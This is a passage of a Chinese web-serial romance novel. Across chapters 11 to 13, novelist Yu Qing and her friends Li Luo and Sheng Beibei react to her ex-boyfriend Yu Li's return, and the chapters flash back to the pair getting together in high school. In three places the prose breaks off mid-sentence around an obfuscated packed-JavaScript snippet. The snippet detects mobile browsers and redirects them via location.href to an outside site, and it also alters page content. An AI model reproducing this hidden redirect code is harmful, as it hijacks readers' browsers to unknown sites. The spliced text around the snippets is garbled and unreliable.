这是实话,余晴高中遇到的都是好人也有一大原因是不那么好的人早就被李落和盛蓓蓓在背后教训过了。 她往自己嘴里塞蓝莓,嚼吧嚼吧咽下去之后看向余晴:“她的评论有道理吗?” “有啊,她说的是对的。”余晴很认真地又看了一遍这段评论,“我的确没有全面考虑到后续的情节发展。虽然两个人目前为止一切都顺利,在不久之后也会在一起,但是她们真的能就这样平平淡淡地走下去吗?” 李落不看小说,似懂非懂地点头,又在出主意:“那你就写到她们在一起不就够了?后续让读者自己想呗。” 余晴往她嘴里塞蓝莓堵她的嘴:“什么都让读者想的话有些不负责任了吧,那我写个文案挂那里让读者自己想不是更省事。” 李落又凑过去看了一会,手指尖点着电脑屏幕:“那你为什么要设定一个家境普通但事业有成的女主和一个家境优越但事业一般的男主恋爱呢?” “我想写一个厉害的女生。”余晴回忆着自己的大纲,“虽然家境普通,但她聪明上进,事业有成。至于男主,他太强我不同意他强过女主,他太弱我又觉得配不上女主,天生家境好后天条件一般稍微平衡一下男主的设定,而且事业上的落后也不代表人格有缺陷。能力上的女强男弱,比较符合我的想象。” 符合想象?李落被最后一句话勾起兴趣:“所以这是你的择偶标准?” “不算吧。”余晴思考着,“但我的确不会找比我更聪明的人谈恋爱。” 李落思考了几秒钟才回答她:“我没见过几个比你更聪明的。” 余晴笑起来:“谢谢。” 李落躺到她床上,漫不经心地问:“所以你当初会和庾礼恋爱,是因为他没你聪明吗?” 余晴突然意识到,当初她和庾礼谈恋爱之后,李落和盛蓓蓓好像都不怎么惊讶,连在一起的经过都是她主动告知的。她们很自然地接受了余晴恋爱的事实,就像接受她后来分手那样自然。 “庾礼很聪明。”余晴不带个人情绪地评价,“很多方面,他都比我优越。我和他在一起并不会有人觉得女强男弱。” 话说到这里,余晴脑中忽然刺痛一下。 她现在才意识到,自己和庾礼有点像这本小说女男主的活化版本。 她家庭条件比不上庾礼,但在当年单从学习这一方事业上来看,她的确比庾礼更强,起码她稳坐了高二高三两年的理科第一,连高考成绩都比庾礼好。但这也都是很多年前的事了。学生时代的成绩从来都无法决定一个人的真正人生走向。 余晴垂眸看了眼黑着屏幕的手机,对着李落开口:“你知道庾礼毕业后在干什么吗?他从事的工作?” 李落眸色暗下去:“你怎么突然问这个了?” 余晴点了下电脑屏幕:“想看看是不是所有这种类型的故事都不会有happyending。” 李落不知道不了解,但她想盛蓓蓓或许会知道。 “你想知道的话,可以去问蓓蓓。”她友情提醒,“但她估计会以为你要和庾礼复合。” 余晴拿起手机,关掉勿扰,打开微信点进置顶的盛蓓蓓对话框里打着字,对着李落坦然道:“我这是在为我的小说做调研。” 正如李落所料,盛蓓蓓一看到余晴的消息就拨了电话过来。 她和李落对视一眼,在对方笑意盈盈的看好戏表情中接了起来。 “坦坦,你要和他复合了吗?”这是盛蓓蓓的第一句话。 余晴无奈:“你就当我在做问卷调查吧,你知道他现在的工作吗?” “我知道。”盛蓓蓓说,“他在创业。” 余晴没太意外这个回答。 “创业啊?”李落幸灾乐祸地抢话,“公司情况如何?什么领域啊?他是不是真被家里赶出来了?” 盛蓓蓓破天荒地没和李落吵嘴,静默了片刻后淡声道:“文娱类型。” “文学作品的出版与改编,是他公司的主要业务。” 11. 勾引 八年前。 6月10号,高考结束后的第二天,余晴和庾礼相约,开启高考后的第一次约会。 本来是单独的两人约会,盛蓓蓓知道后喊上了李落,于是又变成四个人一起的行程。 盛蓓蓓要去做美甲,拉上余晴和李落一起。庾礼坐在店里的沙发上等待。 长相出众又青春洋溢的男生引起注意是必然的。美甲店店员笑着问他:“哪个是你的女朋友啊?” 排排坐的三个人同时回头。 庾礼轻飘飘地看了一眼余晴,眼里带点笑意:“要在指甲上画晴天娃娃的那个。” 问问题的店员并不知道谁要在指甲上画晴天娃娃,而负责给余晴做美甲的店员看着刚刚余晴画的图片,用不大不小的音量笑问:“你和你男朋友说你要在美甲上画这个呀?” 余晴摇头:“我没和他说过。” 纯属意外,纯属默契。 李落坐在旁边翻白眼,知道庾礼又在暗戳戳显摆他了解余晴,他和余晴最有默契。 盛蓓蓓突然探头看过来,随后用甜腻的本音问余晴:“坦坦,我可以跟你做一模一样的美甲吗?” 店员们同时停止了动作,戴着口罩的脸上也能透出一句话——什么情况? 余晴自然地点头:“好啊,晴天娃娃你要画在哪根指头上?” 她的晴天娃娃只在大拇指上,剩下的手指都是浅橘色的纯色,没有别的点缀。 “中指和无名指。”盛蓓蓓笑起来,“左手画在无名指上,右手画在中指上。” 诡异的气氛随着这句话在店里蔓延开来,店员们在接下来都没再闲聊过。等到做完后盛蓓蓓扫码付款,拉着余晴走到庾礼面前,把她的手和自己的手都举起来,手背向外手心向内:“庾礼,好看吗?” 庾礼阴着脸看她一眼,没回答她的问题,只牵住了余晴的手,拉着她往外走。 李落走过去用肩膀撞了一下盛蓓蓓,低声道:“你又来?” 两个人跟在情侣身后离开美甲店,盛蓓蓓对着庾礼的背影亮出自己有着晴天娃娃的右手中指。 庾礼不知道身后的事,只侧头看余晴,问她:“去楼上的书店?” 书店是她们原定的目的地,他一开始定的约会行程全被盛蓓蓓这个神经病给打乱了。 余晴扭头看李落和盛蓓蓓:“去楼上的书店吗?” 盛蓓蓓连忙把不安分的手指头收起来,甜甜地笑:“好啊好啊。” 四个人一起进了书店,李落在漫画书那里停住脚步挪不开,盛蓓蓓紧跟余晴庾礼的步伐,在书架间穿梭。 余晴遇到感兴趣的书就停下脚步,庾礼和盛蓓蓓跟左右护法一样守在她身侧。 身边没有其他人,盛蓓蓓也不压低音量,她笑眯眯地抱着余晴的胳膊:“坦坦,你等我以后接手盛世,我开一个出版公司给你,专门改编你写的东西好不好?” 余晴忍俊不禁:“可以吗?如果我写的东西根本没人看怎么办?” “没关系的呀,我会看的呀。”盛蓓蓓眨巴着眼睛,“你相信我,好吗?” 余晴笑着点头,哄她:“好呀,我等你。” 盛蓓蓓也笑,对余晴乖巧地笑,在余晴看不到的地方,她对庾礼挑衅地笑。 余晴有没有听进去,这不重要。重要的是她能不能做到。 八年后的今天,盛蓓蓓晚上十点还在集团大楼里处理工作。 她因为接到余晴的消息而开心,却又因为余晴问的话而感到伤心。 她还没能做到的事,却有人在为余晴做了。 回过神的盛蓓蓓说自己还有跨国会议要开,不能一直陪她们聊天了。余晴贴心地询问要不要为她点夜宵,她婉拒后就说了晚安,挂断了电话。 李落侧身躺着,胳膊撑着头,脸上是复杂的神情。 “想说什么?”余晴问她。 她眼睛还盯着电脑,鼠标一直悬在回复框里,但她始终不知道应该要怎么回复。 “我在想庾礼真他爹的装。”李落把厌恶庾礼这件事贯彻到底,“演深情演上瘾了?” 余晴好笑地看她一眼:“谁说他是为我开的这个公司?” 李落呵呵一笑:“不是为你开的那就更应该去死了。” 余晴却没因为这个消息而感到有多触动:“只能说明他还挺有头脑的。影视行业和网文行业息息相关,如果项目投得好,钱的确能赚不少。” 李落听不得余晴夸他,把话题扯回去:“所以你的调研结果呢?” “没结果。”余晴还盯着那段评论看,“我和他又不是女主男主,有什么结果?” 李落定定地看了她一会,又问出一句话。一句余晴这几天耳朵都听出茧子的话。 “余晴,你们真的不会复合吗?” 余晴脚踩上椅子边缘,胳膊抱住腿,终于反问:“为什么你们这几天一直问出这句话?” “打预防针。”李落从来不觉得恋爱是件坏事,但对庾礼始终抱有怀疑。 可她又太了解余晴。她想她大概能预料到结局,盛蓓蓓也是一样,所以她们才会反反复复确认。 余晴吃下最后一颗蓝莓,看向她:“落落,你知道破镜重圆有几种情况吗?” 李落摇头,余晴伸手掰手指头:“根本没破,根本没镜,根本没圆。” 她认真地问:“你觉得我和庾礼符合哪一种?” 李落没有回答这个问题,从她床上起来,拿起空掉的碗:“你早点睡,我走了。” 她关上门,余晴又把视线和注意力放到蓝色雨的评论上。 最后,她郑重地回复了一句话。 :设定上的不相配难以改变,但女主和男主有自己的相处方式,而我也想让她们有一个好结局。 - 新的一周到来,李落和余晴却是两个都不需要上正经班的闲散人士。 盛蓓蓓一大早就在群里卖可怜,说自己昨晚加班到12点多,早上还要准时起来去集团打上班卡。狗屁大小姐,一点特权都没有。 余晴回复了几个安抚的表情,给她点了定时送达的下午茶。 订单截图发过去后,盛蓓蓓又一个电话打来:“坦坦!撒浪嘿哟!” 余晴躺在阳台躺椅上晒太阳,听到她的声音就笑起来:“好好工作吧盛经理。” “盛经理听起来好像四十岁中年男哦。”盛蓓蓓在那头皱起鼻子。 余晴对她百依百顺,连忙改称呼:“好的Rebecca,请好好工作,适时摸鱼吧。” 盛蓓蓓没想到余晴会突然喊她的英文名,在那头愣了一下后又很快笑起来:“周末我去找你玩哦,一定留时间给我。” “遵命大小姐。”余晴哄了两句后挂掉了电话。 狗狗窝在她腿上晒太阳,李落从客厅走出来,递给她一杯拿铁:“看我刚刚练的拉花。” 余晴一言难尽地看着浮在杯面的那一坨:“拉了什么?” “花。”李落瞪她一眼,“皇帝的拉花。” “拉得太好了。”余晴接过咕嘟咕嘟往下喝了大半杯,又把杯子递了回去,“好喝,你买了新的咖啡豆?” 李落很诧异:“这你都能喝出来?” “我乱说的。”余晴笑,“猜对啦?” 李落瞪她一眼,拿着杯子转身就走。 余晴又躺回躺椅上舒舒服服晒太阳,直到手机响起来,她连来电显示都没看就接了起来。 “喂,你好?” “余晴,下午好。” 听到熟悉的声音,余晴睫毛又颤动两下:“有什么事?” 庾礼把打电话的来意说给她听,的确是正事,余晴也认真地听他说完。 “你怎么想?”他问。 “今天是周一,周五是高三生在校的最后一天是吧。”余晴垂下眼睛,数着中间的时间,“我有他的联系方式,我自己和他说。” 庾礼应了这句话,却没马上挂掉电话,这让余晴有些发懵。 她拿下手机看了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15669907|173105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一眼,的确还在通话中。 “还有事吗?”她礼貌开口。 “老段说他之前也有尝试邀请过你,但是你都没有再回过一中,是为什么?” 余晴耐心地和他解释:“本科四年在京州,五月份基本都在上课。毕业后工作比较忙,京州沥州往返时间也长,每次我都和他解释了。” 说来说去也就一句话,她从一中毕业这么多年,也就只有今年的五月份正好在沥州。 庾礼在那头没再回答,余晴自顾自往下说:“没什么事的话我就挂了。” “还有一件事——” 余晴愣了一下,选择当作没听见这几个字,直接挂断电话。 她抱着猫起身回了客厅,李落坐在客厅地毯上玩着拼豆头也没抬。 “新爱好?”余晴凑过去,坐到她身后的沙发上,“拼的什么图案啊?” “找画师画的我们狗狗。”李落哼哼一声,把手机图片放大给她看,“是不是特别像?” 余晴点头:“发我发我,我要当头像。” 李落给她发照片,余晴点开微信保存图片换好头像后切回主页面,看到庾礼发来的微信消息。 庾礼:刚刚话还没说完,还有一件事,我明天就要搬家了,你要不要过来吃晚饭? 余晴:?你是不是发错人了? 庾礼:不来吗? 余晴懒得再回,拿手机轻轻敲了下李落的肩膀。她回过神,皱着眉接过去,三两下看完聊天记录后似笑非笑地开口:“看来他是打定主意要跟你复合啊。” 余晴看着天花板,没有回应这句话。 李落手指往上滑,看到庾礼在打电话之前发来的一张聊天记录,问她:“这个聊天记录对面的人是谁啊?老段?” “是他。”余晴转头看她,“老段不知道怎么和庾礼联系上了,庾礼说周五是高三生在校最后一天,想让我回去给她们开个讲座。” 这件事往年的确都有。余晴本人讨人喜欢、在校成绩稳定、高考成绩优异,本科院校出众甚至连毕业后的工作单位都很知名,老段年年都问,可惜余晴年年都没空。 “哦。”李落对这事见怪不怪,“那你今年回吗?” “没想好。”余晴的确还没做好决定,“回去的话,我要说什么?” “快高考了,说点考前准备?说点鸡汤?”李落帮她一块想,最后总结,“反正说什么都是废话。” 余晴还在发呆,李落把手机塞到她的靠枕底下,问:“不过为啥老段先去找了庾礼啊,他怎么知道庾礼回国了?” “他发朋友圈了。”余晴把手机又给她了,“他微信里所有人都知道他回来了。” 李落在余晴和庾礼分手那天晚上就把庾礼拉黑了,她接过余晴的手机,点进庾礼的头像,看到他朋友圈是半年可见,里面只有周六发的一张烤肉店的图片,附带一个沥州市的定位。 李落放大图片,声线压低:“这条朋友圈你看过了吗?” “扫了一眼。”余晴跟看代购发广告一样略过了,“怎么了?” 李落翻着白眼把手机屏幕朝向她,余晴坐起来凑近看,看到她放大的图片一角,是一只摆在桌上的左手。 不太明显,手的部分被碗挡了一些,但是绑着头绳的手腕一看就是女生。 余晴也没想到这张照片居然拍到自己了,但也不是什么大事,她无所谓地把手机给收了回来。 李落却突然意识到一件很严重的事,她换了个姿势跪在地毯上,手肘撑在沙发上看着她:“庾礼要是勾引你怎么办啊?” 搞这些暗戳戳的小动作,一看就不是正经男人。 “勾引我?”余晴脸上浮现出一个好奇的笑容,“怎么勾引我?” “用钱?”李落猜测,“用脸,用身体...” 余晴笑得说不出话来,李落还在滔滔不绝:“庾礼当年不就是靠勾引才让你和他在一起的吗?” 是吗?余晴回忆起当年的事。 好像也对。 12. 努力 高二下学期,期中考结束后沥州的温度持续攀升。 余晴怕热怕得不行,但每天早上到班上时空调都被人提早开好,温度也打得很低。 她连续观察了几天,很快就发现了端倪。 某个星期五的早上,余晴带着打包好的咖啡赶到班上,庾礼已经在位置上了。 她把咖啡放到他桌上,对着他笑起来:“谢谢你开的空调。” 庾礼挑起眉头,但没多说什么,接受了这杯咖啡。 两个人的关系在近一年的相处下已经到了一个临界点,谁都能看出来这俩人有问题,但却没有更多的进展。 余晴给他买的是冰美式,吸管被她单独收到书包里,回身掏吸管的那么一会儿,庾礼桌上的咖啡就因为他同桌一个不小心给撞洒了。 几个人无言地看着桌上的咖啡,还好他桌上没摆什么东西,没有东西遭殃,只有庾礼自己,被淋了大半身。 余晴把抽屉里的抽纸拿出来,帮他擦着桌面,又看了一眼他身上的白色短袖校服,皱着眉头开口:“你衣服怎么办?” “我让家里人再送一件来。”庾礼倒是没什么特别的反应,接过她手里的抽纸,“我自己来,你别忙了。” 早上第一节课间,庾礼接到电话说校服放在保安室了。 他刚起身就被讲台上的老师给叫走,经过余晴的时候他敲了两下她的桌子,余晴心领神会,去帮他拿了校服。 保安室里不只有校服,还有一个纸袋装的咖啡。 余晴拎着东西往回走,路上接到同桌的电话,问余晴还在不在楼下,能不能去医务室帮她取两颗止痛药,她来月经了肚子难受。 余晴拐个弯又去了医务室,门掩着,她被一双手给拽了进去。 “你怎么在这里?”她有些呆愣地看着庾礼,“快上课了。” 庾礼“嗯”了一声,接过她手里的袋子,把衣服拿出来,作势要换。 余晴还一眨不眨地看着他,看得他想笑:“你真要看?” 她被这四个字点醒,手上勾着咖啡店纸袋抱胸,好整以暇地盯着他:“不看白不看。” 她这样坦荡地说要看,庾礼反而不好意思了,背过身去很快就把衣服换了。 余晴有些可惜只看到他的背肌,但也算小饱眼福。 她收回眼神,转身去药柜里翻止痛药,拿了两颗后在记录本上写信息,写完后抬头,庾礼已经换好走了过来。 “走吧。”她跟没事人一样转身往外走,又被庾礼给拉住。 上课铃已经打响,她们俩没一个人急着回去。 他低头看她:“余晴,你得对我负责。” 余晴一脸疑惑,这句话她昨天在新买的言情小说里看到过,没想到现实生活中也能听到。 但她没多说什么,仍然点头:“好的。” 发懵的变成了庾礼:“就这样?” “你不是要我负责?”余晴笑起来,“我同意了啊。” 庾礼看着她的眼睛,把话重新说了一遍:“我是问你要不要和我在一起。” “我说过了啊。”余晴和他对视,“我同意了。” 明明是告白场景,两个人脸都没红一下,好像在讨论题目解法一样有来有往。 她扭头往外看了一眼:“回去吧?上课了。” 庾礼不放心地补了一句:“余晴,我没跟你开玩笑。” “我也没有开玩笑啊。”余晴大大方方张开手抱了他一下,很快又松开,“走吧,这节物理课,再不走挨骂了。” 庾礼被这个猝不及防的拥抱吓了一跳,回过神后余晴已经要推门往外走了。他跟着往外走,心里还在想她头发怎么这么香? 两个人一前一后地在门口打报告,顺利地回了座位。 余晴把咖啡袋放到他桌上,庾礼又伸手举到她身侧:“给你的。” “谢谢。”她小声说,把咖啡接过,等到下课才打开喝,冰已经化了一大半。 盛蓓蓓跑到她身边,问她什么时候点的咖啡,怎么不叫她一起。余晴往后指了下,没注意盛蓓蓓表情的变化。 “余晴!盛蓓蓓!” 两个人同时转头,看到李落在后门招手。 李落给来到面前的两个人发鼻通,她看着余晴对着鼻通猛吸一口气,开口问她:“上节课课间你去校门口了?我同桌说看到你了。” 余晴点头:“去帮庾礼拿东西。” 李落冷笑一声:“真把自己当少爷了?” 盛蓓蓓看她:“坦坦,后来你们去哪了?” “医务室,我去帮林瑶拿止痛药了。”余晴把鼻通揣进兜里,又看了两人一眼才继续说,“庾礼在那里和我告白了,我和他在一起了。” 算告白吗?连句我喜欢你都没有说,她却也点头了。 “哦。”李落点头,神色不变,“什么时候分手?” 余晴笑着看她:“不知道,不过到时候一定第一个告诉你。” 盛蓓蓓不满地抱上她胳膊:“坦坦,你真的喜欢庾礼吗?” 余晴笑着揪她的马尾辫:“更喜欢你。” 四个字就把盛蓓蓓哄好了。她用脸蹭她的胳膊:“坦坦,我希望你开心。” “我很开心。”她回答。 三个人在后门聊到快上课,李落在上课铃打响前又匆匆下楼回了高二文科层。等到中午吃饭的时候,三个人才又待在一起。 盛蓓蓓装作若无其事地追问了几句庾礼的事,余晴一边按住她把菜夹到自己盘里的筷子一边把医务室里发生的事情给描述了一下,包括庾礼换衣服以及自己的那个拥抱。 李落一口饭差点喷出来:“庾礼这个不要脸的东西...居然敢色诱你。” 余晴还没搭腔,先看到有人靠近。 三个人一起抬头,看到庾礼把手里拎着的三杯奶茶放到桌上。 他目光凉凉扫过李落和盛蓓蓓,到余晴的时候露出一点笑:“就吃这么点?” 正宫风范只需要一句话就能摆出来,李落听这话一脸不爽:“你管得真宽,今天食堂没有我们格格爱吃的,而且她吃多吃少关你屁事?” 余晴面上还在笑,把其中两杯奶茶拿出来,扫一眼糖度冰度之后分别插上吸管放到她们俩面前,对着李落说:“您大人有大量,饶了小礼子吧。” 庾礼连盛蓓蓓和李落喝奶茶的喜好都知道,怎么可能不知道余晴爱吃什么不爱吃什么。 他没回李落的话,也没再多说什么,揉了下余晴的头后转身就走。 李落看了眼奶茶标签后冷哼一声:“他是在讨好我们吗?” 余晴没回答这句话,扭头看已经喝上奶茶的盛蓓蓓:“你饭还没吃完呢蓓蓓。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15669908|173105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我不想吃了。”盛蓓蓓和她撒娇,“我喝奶茶也能喝饱。” “不吃饭长不高。”李落坐在对面笑她,“你看你,一米六都不到。” 盛蓓蓓瞪她:“那又怎样!” 眼见两个人又要吵起来,余晴右手拎上剩的那一杯奶茶,左手端着餐盘站起来:“走不走?” 盛蓓蓓点头:“走走走。” 三个人一前一后地放了餐盘,人手一杯奶茶地往外走。 “好热哦。”盛蓓蓓把遮阳伞撑起来,举过余晴的头顶,“还好我带伞啦。” 食堂离教学楼也就步行三分钟的距离,李落没想到大小姐会娇气到这个地步,更没想到她这把伞这么小:“那我呢!” 盛蓓蓓理直气壮:“这是我的伞,当然要遮我。坦坦最怕热,当然也要遮坦坦。” 李落利落地冲她竖起一个中指:“盛蓓蓓你给我等着。” 余晴看热闹看得眼睛都弯了,从伞下退出来,把李落拉到盛蓓蓓旁边:“你们遮吧,我和庾礼一起走。” 跟着余晴一块转头后两个人才发现庾礼就在小卖部门口等着。 他身边有几个其他男生,余晴一个都不认识,猜测应该是庾礼高一的同班同学,于是她站在原地没过去。 庾礼朝她走过来:“吃完了,现在回去?” 余晴点头,又看向李落和盛蓓蓓:“走吧。” 这个点从食堂回教学楼的人有很多,三三两两走在一起的男女生也不少,但余晴和庾礼还是最显眼的一对。 李落和盛蓓蓓走在她们俩后面,眼神始终盯着俩人偶有接触的手臂看。 “你说她俩什么时候会分手?”李落问盛蓓蓓。 盛蓓蓓回答:“不知道。你干嘛这么盼她们分手?” “不知道。”李落的回答也是这三个字,“你说余晴到底喜欢庾礼什么呢?” 客观来讲,庾礼长得好,性格也算过得去,家世更好,连成绩都和余晴旗鼓相当。盛蓓蓓知道年级里喜欢庾礼的女生可多,但庾礼对其他女生都是差不多的冷淡,好像笑肌只有在面对余晴的时候才会动。 “李落,你别老在她面前提分手的事了。”盛蓓蓓难得正经,“我们是她的朋友,老说扫兴话她也会伤心的。” 李落下意识地摸了下自己耳垂,略有些不自然地说:“哦,我开玩笑的。” 她们俩的对话余晴和庾礼听不见,但余晴了解她们,有些话就算不该说李落也已经说了。 “她们都是开玩笑的。”余晴转头看他,“你别往心里去。” “我知道。”庾礼说,“她们是你的朋友,我不会往心里去。” “谢谢你的奶茶。”余晴很诚恳,“没想到你连她们爱喝什么都知道。” 庾礼垂下眼睛,突然伸手圈住她的手腕,低声问道:“余晴,你多喜欢我一点可以吗?” 怎么样才能算多喜欢一点呢?余晴不知道,庾礼也没有评判标准。 她低头看了一眼自己的手腕,没有挣脱开,只是在笑:“好啊,我努力。” 闷热的,吵闹的,没有遮蔽的这段短暂的夏日路程,她们走得很慢。 平平无奇的一天,是余晴庾礼在一起的第一天。 往后的每一天,余晴都在努力。 努力多喜欢他,努力不喜欢他。 13. 蓝莓 余晴最终还是答应了老段的邀请,决定在周五回一中给高三生们讲点废话。 老段很高兴,尽管一中这么多年也出过很多优秀的学生,其中不乏余晴没能拿到的状元,但她仍然在年级主任心里有不一样的地位。 “之前还担心你今年也没空,看到庾礼回国了我就先去问他了,他却说还是你回去最合适。”老段在那头笑得合不拢嘴,“你们俩现在还在一起吧,这么多年是不是要结婚啦?” 这到底是怎么造成的信息误差?余晴以为一中的所有人都在八年前知道她和庾礼已经在那个八月分道扬镳了。 她犹豫了片刻还是直说:“老师,我和庾礼早就分手了。” 老段有些慌乱:“哎哟,我都给忘了,昨天找庾礼的时候那小子还说他来联系你。我看你们那么熟还以为你们和当年一样呢。” 余晴不想再提他,把话题翻篇:“老师,周五我会准时回去的,十多分钟就够了吧?再多说一点大家都要烦死了。” 她自己也当过学生,知道学生时期大家都讨厌开大会。而且高考前的大家普遍紧张,余晴不想变成影响大家心态的千古罪人。 和老段又扯了几句后她才终于挂掉电话,把手机丢到地毯上仰面躺着,心里琢磨着周五应该要和那些小孩说什么。 琢磨着琢磨着,余晴不小心又睡着。 梦里居然又是夏天,不知道到底是哪一年的夏天,但是个乱七八糟的梦。 她梦到盛蓓蓓,梦到庾礼,梦到邱明轩。 加上她,一共四个人,走在沙滩上。庾礼和盛蓓蓓手牵手在奔跑,邱明轩走在她身边要牵她的手被她躲开。 她喊盛蓓蓓的名字,她停下脚步看她,她问:“坦坦,你喜欢看海吗?” 余晴的眼睛只顾着看她和庾礼扣在一起的手上,哪有心思看海。 “坦坦,你喜欢看海吗?”盛蓓蓓还在问,似乎一定要一个答案。 余晴点头:“喜欢。” 下一秒,铺天盖地的海浪就朝她涌来,她在濒临窒息中看见盛蓓蓓朝她跑来。 余晴猛地吓醒,而后发现这种窒息感居然是真的,来自压在她胸口的狗狗。 她把这只肥猫抱下来,恍惚中自言自语:“我天呐你现在这么胖了...” 狗狗刚被放下又从地毯跳到沙发上,它很喜欢黏着余晴,尾巴扫过她的手心,让余晴注意到自己手心的汗。 好荒诞的梦,但场景却很真,因为余晴和庾礼以及盛蓓蓓是真的一起去过海边,就在她十八岁生日的后一天。 也是在这一天,余晴才知道庾礼已经考到驾照了。 从沥州市区开到沥川县要两个小时,盛蓓蓓和李落坐在后排连着车内蓝牙吵吵嚷嚷:“放我的歌单!” “放我的!你的都好难听!” 庾礼目不斜视地开口,打断这俩人的争吵:“放我女朋友爱听的。” 他很少会这样称呼余晴,盛蓓蓓和李落都愣住了,随后都退让:“那放她的吧。” 余晴的歌单更是一团糟,华语流行、Kpop、Jpop、R&B,她几乎什么都听。 她连上蓝牙,索性点了随机播放,第一首歌是《不能说的秘密》。 庾礼听到前奏的时候露出一个笑容,微微偏头看了她一眼。 盛蓓蓓和李落坐在后排齐声抗议:“切歌!” 高三上学期的期末考试结束后,班上同学组织了去KTV唱歌的活动,那个时候乌泱泱地去了大半个班的人,大家到了KTV发现不仅有隔壁班,还有底下文科班。 考完试了大家都出来放松,李落又理所应当地跑到余晴她们班来玩。 庾礼坐在角落玩手机,在不知道发生了什么的情况下手里被迫塞了个话筒。 余晴笑眯眯地看着他:“我也还没听过你唱歌呢。” 她开口庾礼就肝脑涂地,他点了一首《不能说的秘密》,从头到尾唱下来,没有开原声。余晴始终认真地看着他,认真地听着这首歌。 李落和盛蓓蓓都不知道他为什么要选这首听起来都是遗憾的歌,但余晴知道,是因为她和庾礼曾经一起看过这首歌的同名电影。 她知道庾礼还会弹钢琴,之前看电影的时候就说要庾礼之后弹给她听。 庾礼那个时候还问她会不会弹琴,余晴说自己考过三级,现在只会弹一闪一闪亮晶晶。 但他始终没有找到能带她回家听他弹琴的合适时机,只能在这个拥挤的包厢里给她唱这首歌。 这么甜蜜的恋爱却有这么悲伤的主题曲,李落一边在心里期盼她们分手,一边又觉得庾礼真是个神经病,唱什么歌不好非唱这个,真分手了怎么办。 但余晴却始终对这首歌抱有美好的记忆。 后排两个好友还在大喊切歌,余晴默默地把音量开大了一点,她俩最终也安静下来。 抵达民宿已经是下午三点,急匆匆收拾好后盛蓓蓓就一手拉一个往沙滩边跑。 海风真的是咸的,余晴的头发被吹得乱飞,满身口袋找头绳。庾礼帮她按住后脑的头发,把右手手腕伸到她眼前,那里绑着一根她的黑色头绳。 余晴胡乱扎好头发,拉起庾礼的手就跑去踩水,脚上全是沙子。 盛蓓蓓蹲在她身后不远处,在地上写字。李落凑过去看,她写的是:坦坦蓓蓓落落,三个名字中间有两个爱心。 李落嗤笑一声:“怎么把自己名字写中间?” 大小姐仰起头天真地笑:“难道不应该吗?” 李落一脚就把沙子给踢飞,盛蓓蓓尖叫一声后站起来追着她跑。 庾礼把余晴拉走,远离战场,却还是没躲过跟个炮弹一样朝余晴冲来的盛蓓蓓。 她猛地抱住余晴,贴着她问:“坦坦,你喜欢看海吗?” 来沥川看海是她的主意。 “喜欢。”她笑着点头,伸手抱住盛蓓蓓,以及突然也冲过来把盛蓓蓓当夹心抱住的李落。 咸咸的海风吹过她们的十八岁。 余晴回头,发觉庾礼始终在看着自己。 - 李落到家的时候,余晴正在厨房里忙活。 她跟见了鬼一样走进去:“你在干什么啊?” 余晴围着围裙戴着口罩,装备齐全笑容满面:“给你做晚饭啊。” 李落第一时间伸手摸她额头:“你没事吧?” 余晴侧开身子,把料理台上的番茄炒蛋亮给她看:“噔噔!我已经做完一道菜咯!” “哇哦。”李落发自真心地赞叹,“你跟着教程做的?” “yesyes!”余晴把锅里的另一道菜给她看,“小炒牛肉,怎么样?” “哇哈?”李落这下是真的大开眼界了,“这么高难度的菜你都会呢?” “也是跟着教程做的。”余晴来回又倒腾几下,把火给关了,把肉倒进盘子里,“可以吃饭咯~” 李落去电饭煲里盛了饭出来,坐到余晴对面,面对着桌上的两菜一汤还是保持半信半疑的态度。 因为余晴有着做饭的黑历史,高中时期自己做饭自己吃结果把自己送医院去了。从那以后余永义和沈意琴都不让她进厨房。 李落也没想到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15669909|173105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她在这里住了半年,居然还会一时兴起要做饭。 看李落一直不动筷子,余晴坐在对面笑个不停:“你怕中毒啊?” 李落猛然想起自己还没拍照发给盛蓓蓓看,赶紧拍完发一张过去炫耀。 “我吃了,真没事。”余晴往嘴里送饭,“我严格按照菜谱来的,味道也可以的。” 她都这么说了,李落不能只顾自身安全不顾朋友情谊不动筷子了,她吃了两口番茄炒蛋,的确味道还行,还是她爱吃的甜口。 余晴笑得眼睛弯弯:“怎么样?还行吧?” “挺好吃的。”李落也笑起来,“怎么突然想起来要自己做饭了?” “写小说写到做饭了。”余晴回答,“所以就做饭了,正好冰箱里还有菜。” 李落敬佩于她对这份目前为止没有一点起色的事业的认真态度,“哦”了一声之后又嘱咐她:“下次别做啦,叔叔阿姨都不让你进厨房的。” 余晴连连点头:“知道啦知道啦。” 李落饿着肚子拍了一下午广告,还是很给面地把余晴做的饭全吃完了。 她洗碗,余晴擦桌子,李落的手机正好响起来,是盛蓓蓓打来的电话。 